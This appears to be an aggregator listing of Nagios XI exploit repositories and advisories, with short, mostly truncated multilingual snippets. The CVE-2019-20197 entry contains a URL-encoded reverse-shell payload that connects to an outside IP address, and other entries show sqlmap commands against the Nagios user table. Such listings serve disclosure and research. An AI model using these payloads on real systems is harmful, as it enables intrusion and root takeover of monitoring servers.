CVE-2024-24401

Rapport de vulnérabilité CVE découverte CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un téléchargement plus ancien de 2024R1.0.1. Le script m...

CVE-2023-48084

CVE-2023-48084 CVE-2023-48084에 대한 Python 익스플로잇 - Nagios XI 5.11.3 이전 버전은 대량 수정 도구를 통해 SQL 인젝션 취약점이 있는 것으로 발견되었습니다. 이 익스플로잇은 /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=를 사용하여 SQL 쿼리를 실행하며, 블라인드 SQL 인젝션을 이용합니다... 사용법 저장소를 클론하고 requirements.txt를 설치하세요. root@kitploit: git...

CVE-2025-61299_POC

CVE-2025-61299POC Аутентифицированное внедрение команд в Nagios XI 2024R1 CVE-2025-61299...

CVE-2019-20197

CVE-2019-20197 Exécution de commande à distance dans Nagios XI = v5.6.9 Charge utile http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2024-24401

Отчет об уязвимости CVE обнаружена: Jarod Jaslow MAWK ПРЕДНАЗНАЧЕНО ДЛЯ ЗАПУСКА НА KALI LINUX Примечания Nagios выпустил патч для версии 2024R1.0.1 во всех последних загрузках. Чтобы определить, уязвима ли цель, убедитесь, что используется более старая загрузка 2024R1.0.1. Обновленный скрипт...

CVE-2023-40933-PoC

CVE-2023-40933 Il payload sqlmap per sfruttare CVE-2023-40933 Payload Informazioni richieste: Nome utente e password validi Dominio e percorso dell'istanza ospitata root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-40931-PoC

CVE-2023-40931 Il payload sqlmap per sfruttare la CVE-2023-40931 Payload Informazioni richieste: Nome utente e password validi Dominio e percorso dell'istanza ospitata root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC Python per la CVE-2019-15949 Panoramica Esiste una vulnerabilità in Nagios XI = 5.6.5 che consente a un attaccante di sfruttare una RCE per elevare i privilegi a root. L'exploit richiede l'accesso al server come utente 'nagios', oppure l'accesso CCM tramite...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit Panoramica Esiste una vulnerabilità in Nagios XI = 5.6.5 che consente a un attaccante di sfruttare un RCE per elevare i privilegi a root. L'exploit richiede l'accesso al server come utente 'nagios', oppure l'accesso al CCM tramite interfaccia web con permessi per gestire i...

CVE-2024-24402

Rapporto di Vulnerabilità CVE Scoperto da: Jarod Jaslow MAWK Dettagli della Vulnerabilità: Endpoint: Nagios XI Versione 2024R1.01 Tipo di Vulnerabilità: Escalation dei Privilegi dall'Utente "NAGIOS" Risultato dello Sfruttamento: Accesso root completo al sistema target Passaggi per Riprodurre: 1...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs An Nagios XI gemeldete Bugs CVE-2021-25296 Code-Stelle /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code-Ausschnitt root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .=...

CVE-2019-20197

Уязвимость удаленного выполнения команд в Nagios XI CVE-2019-20197 PoC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2024-33775

CVE Descoberto por: K. Wahab NeoX Detalhes da Vulnerabilidade: Produto: Nagios XI Version 2024R1.01 Vulnerabilidade: Escalação de Privilégios a partir dos Usuários "NAGIOS" ou "APACHE" Resultado: Acesso root total no sistema alvo CVE: https://vulners.com/cve/CVE-2024-33775 Exploit: O RSS Dashlet ...

Nagios-XI-s-CVE-2023-40931-Exploit

Este repositorio nao tem um README...

CVE-2023-47400

CVE-2023-47400 Proof of Concept PoC für CVE-2023-47400 Authentifizierte PHP-Remote-Codeausführung über beliebiges Dateischreiben auf Nagios XI 5.11.0 !Note Dieser PoC basiert auf dem technischen Advisory, das von der NCC Group veröffentlicht wurde...

CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...

EUVD-2026-66599

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2023-48084-Revised

CVE-2023-48084 — PoC aggiornato Repository: MettHK/CVE-2023-48084-Revised Versione aggiornata di Hamibubu/CVE-2023-48084 con multithreading, estrazione tramite ricerca binaria e flag CLI per la selezione di database / tabella / colonna. Non è il repository originale. Si tratta di un PoC...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Authentifizierte Befehlseinschleusung im Configuration Wizard Einfaches Proof-of-Concept-Repository für CVE-2025-34227, eine authentifizierte Befehlseinschleusung in Nagios XI - Configuration Wizard Vollständiger Artikel hier:...